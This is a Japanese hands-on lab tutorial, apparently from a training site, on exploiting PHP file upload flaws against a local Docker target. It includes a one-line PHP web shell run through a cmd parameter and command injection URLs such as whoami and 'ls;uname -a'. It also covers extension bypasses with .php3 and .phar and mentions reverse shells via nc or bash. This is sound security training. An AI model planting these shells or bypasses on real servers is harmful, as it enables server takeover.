Nmap を使用したファイルアップロード脆弱性の悪用

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

当社の実践的な実験(Lab)へようこそ!今日は、広く見られる問題、つまりファイルアップロードの脆弱性に焦点を当てます。私たちの使命は、この一般的でありながらしばしば誤解される弱点を解明することです。これらの脆弱性の背後にある原理を解説し、理解しやすくします。そして、実際に手を動かして、これらの脆弱性を効果的に悪用する方法を学びます。これにより、実際のアプリケーションでこのような問題を特定し、解決するための知識を身につけることができます。ウェブセキュリティの奥深くへのこのエキサイティングな旅に、一緒に始めましょう!


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/firewall_evasion("Firewall Evasion Techniques") subgraph Lab Skills nmap/firewall_evasion -.-> lab-416154{{"Nmap を使用したファイルアップロード脆弱性の悪用"}} end

ファイルアップロードの脆弱性を理解する

さて、皆さん!ファイルアップロードの脆弱性という魅力的な世界に飛び込む準備をしましょう。今、皆さんがパーティーに参加していて、コートチェックがあると想像してみてください。あなたはコート(もしくは恐竜の衣装を着ているならそれ)を預け、受け取り券をもらい、夜の終わりに自分の持ち物を取り戻すことを期待しますよね?ウェブアプリケーションもしばしば同じように動作し、画像やドキュメントなどのファイルを受け付けます。

でも、誰かがコートの代わりにヤマアラシを持ち込んだらどうなるでしょう?問題がややこしくなりますね!私たちのウェブアプリケーションが、不審を抱かないコートチェックの係のように、「コート」(つまりファイルの内容とタイプ)を適切にチェックしない場合、攻撃者は有害なものを持ち込むことができます。これはウェブシェルと呼ばれる悪意のあるファイルで、実行されるとサーバーの制御権を奪われます。まるでヤマアラシを持ち込んだ人にコートチェックの鍵を渡してしまうようなものです!

では、ウェブ開発で人気のある言語である PHP について話しましょう。PHP には move_uploaded_file() という関数があり、これはコートチェックの係があなたのコートをラックに移動させるようなものです。この関数の動作を簡単に見てみましょう。

<?php
// This function moves the uploaded file to a new location. If it's successful, it gives a thumbs-up (returns true). If not, it's a thumbs-down (returns false).
move_uploaded_file($file, $newloc);
  • $file: 移動させる「コート」(またはヤマアラシ)
  • $newloc: 「コート」を保管するラック

ここがポイントです。move_uploaded_file() 自体はとても信頼性の高いコートチェックの係のようなもので、「コート」をチェックしません。そのため、次のように追加のコードを書いて検証を行う必要があります。

<?php
// Allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: ". $_FILES["file"]["error"]. "<br>";
    }
    else
    {
        echo "Uploaded file name: ". $_FILES["file"]["name"]. "<br>";
        echo "File type: ". $_FILES["file"]["type"]. "<br>";
        echo "File size: ". ($_FILES["file"]["size"] / 1024). " KB<br>";
        echo "Temporary file location: ". $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

アプリケーションに適切な「コートチェック」(検証)がない場合、または検証が容易に騙される場合、ファイルアップロードの脆弱性が生じる可能性があります。誰もコートチェックにヤマアラシを入れたくはないでしょうね?では、それを避ける方法を学んでいきましょう!

サーバーサイド言語の特定

このステップでは、実験(Lab)環境のセットアップと、ウェブアプリケーションのサーバーサイド言語の特定方法を学びます。なぜこれが必要かというと、サーバーサイド言語を知ることで、アップロードする適切なファイルタイプを決定できるからです。これは、言語交換パーティーに行く際に、フランス語、スペイン語、スワヒリ語の辞書のどれを持っていくかを知るのと同じです!

まず、実験環境をセットアップしましょう。これはパーティーの会場を整えるようなものです。以下がその魔法のコマンドです。

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' --registry-mirror='https://registry.docker-cn.com' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

次に、言語探偵になる方法を教えます。以下が手がかりです。

  1. URL のファイル拡張子:

    • URL に .php がある場合、おそらく PHP を使用しています。そのため、.php のシェルファイルをアップロードしてみてください。
  2. ウェブサーバーの種類:

    • ウェブサーバーが Microsoft IIS の場合、おそらく ASP.NET を使用しています。.asp または .aspx のシェルファイルをアップロードしてみてください。
    • サーバーが Nginx または Apache の場合、おそらく PHP を使用しています。.php のシェルファイルをアップロードしてみてください。
    • サーバーが Tomcat の場合、おそらく JSP を使用しています。.jsp のシェルファイルをアップロードしてみてください。

さらに簡単にするために、Wappalyzer ブラウザ拡張機能を使用することができます。これは、ウェブサーバーの種類、バックエンド言語、ウェブサイトで使用されているフレームワークを特定できる多言語の友人のようなものです。

拡張機能をインストールしたら、クリックするだけでウェブサイトの情報を自動的に検出できます。これは、パーティーのゲストが誰の言語を話しているかをすぐに教えてくれるようなものです!

以下の例では、この便利な拡張機能が、実験環境で使用されている Apache ウェブサーバーと PHP プログラミング言語を正常に特定しています。

Web Server: Apache
Backend Language: PHP

適切なウェブシェルのアップロード

皆さん、このステップでは実際に行動する時間です!ウェブシェルという特別なファイルをアップロードします。これはサーバーと対話するためのファイルで、訓練されたオウムをパーティーに忍び込ませて、サーバーの秘密を耳打ちしてくれるようなものです。私たちのパーティー……ええと、正確には実験(Lab)環境では PHP が使われているので、.php のシェルファイルが必要です。

ウェブシェルがたくさん入った宝庫はここにあります。

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php

/home/labex/project ディレクトリにあるシンプルな phpinfo.php ファイルから始めましょう。これはサーバーに「おい、自分自身のことを全部教えて!」と聞くようなものです。作成とアップロードの方法は次の通りです。

<?php phpinfo();?>

http://localhost:82/upload/example1.php という URL にアクセスしてファイルをアップロードできます。

アップロード後、次の URL でファイルにアクセスしてみましょう。

http://localhost:82/upload/images/phpinfo.php

次のような内容が表示されるはずです。

phpinfo output display

うまくいけば、たくさんの PHP の情報が表示されます。まるでサーバーが自分の人生の物語を全部話してくれたようなものです!

次に、/home/labex/project ディレクトリにある .php のワンライナーウェブシェル shell.php を試してみましょう。

<?php echo "Shell"; system($_GET['cmd']);?>

この小さな PHP の魔法は、GET リクエストの cmd パラメータを通じて渡されたシステムコマンドを実行します。

shell.php をアップロードして、アクセスしてみましょう。

http://localhost:82/upload/images/shell.php

まだ cmd パラメータを渡していないので、Warning メッセージが表示されるかもしれません。まるでオウムが「おい、何を言うか教えてくれなかったよ!」と言っているようなものです。コマンドを渡してみましょう。

現在のユーザーが誰かを確認するには、次の URL を使います。

http://localhost:82/upload/images/shell.php?cmd=whoami

www-data という出力が表示されるはずです。

whoami command output

また、オウムに詩を朗読させる(複数のコマンドを実行させる)こともできます。たとえば、現在のディレクトリのファイルを一覧表示し、オペレーティングシステムの情報を確認するには、次の URL を使います。

http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a

おめでとうございます!これでサーバーに秘密を教えさせることができました。

Server command output display

もし、さらに深く探求したい場合は、次のことができます。

  1. ncbash などのツールを使って、ローカルマシンにリバースシェルを取得する。
  2. 「Cknife」「AntSword」「Behinder」などのツールを使って、ウェブシェルを取得する。
  3. 取得したシェルが root ユーザーや管理者ユーザーでない場合は、権限昇格が必要になるかもしれない。詳細については、「Penetration Testing Methodology: Linux Privilege Escalation」コースを参照することができる。

ただし、これは「基礎編」のコースなので、これらのアドベンチャーはより上級なコースで楽しみましょう。今は、ファイルアップロードの攻撃が成功したことを祝いましょう!

サーバーの制限をバイパスする(オプション)

このオプションのステップは、チャレンジ(Challenge)を好む方に向けた、サーバーの制限をバイパスする方法です。サーバーはまるで、特定の帽子(つまりファイル拡張子)をかぶったゲストだけをパーティーに入れるドアマンのようなものです。でも、ドアマンをだまして、違う帽子をかぶったゲストを入れさせることはできないでしょうか?

時々、サーバーは .php のような特定のファイル拡張子を持つファイルのアップロードを許可しないことがあります。そのような場合、サーバーが解析して実行できる別の拡張子を持つファイルをアップロードしてみることができます。

たとえば、phpinfo.php3 をアップロードしてみましょう。

http://localhost:82/upload/example2.php

アップロードが成功したら、次の URL でファイルにアクセスしてみましょう。

http://localhost:82/upload/images/phpinfo.php3

ファイルが実行されない場合は、ドアマンが帽子のトリックに騙されなかったようなものです。そこで、帽子を替えて .phar 拡張子を試してみましょう。

http://localhost:82/upload/images/phpinfo.phar

.phar ファイルが正常に実行されたら、ドアマンがゲストを入れてくれたようなものです!これで、前のステップで使ったのと同じ攻撃方法を続けることができます。

覚えておいてください、これは知略と創造性のゲームです。サーバーの制限をバイパスするためのさらに多くのテクニックがあり、それらは上級コースで学びます。今は、ドアマン……正確にはサーバーの制限をうまくバイパスできたことを楽しんでください!

まとめ

この実験(Lab)では、ウェブアプリケーションで最も一般的な脆弱性の 1 つであるファイルアップロードの脆弱性を調査しました。ファイルアップロードの脆弱性の背後にある原理、アプリケーションで使用されているサーバーサイド言語を特定する方法、およびサーバーを制御するために適切なウェブシェルをアップロードする方法を学びました。

この実験から得られる重要なポイントは以下の通りです。

  • ファイルアップロードの脆弱性の概念とその潜在的な影響を理解する。
  • ウェブアプリケーションで使用されているサーバーサイド言語を特定し、適切なファイルタイプを決定する。
  • ウェブシェルをアップロードして実行し、サーバーを制御する。
  • ファイル拡張子に関するサーバーの制限をバイパスするテクニック(オプション)。

この実験は、ファイルアップロードの脆弱性を理解し、悪用するためのしっかりとした基礎を提供しました。ただし、さらに高度なテクニックや概念があり、これらは将来のコースで取り上げられます。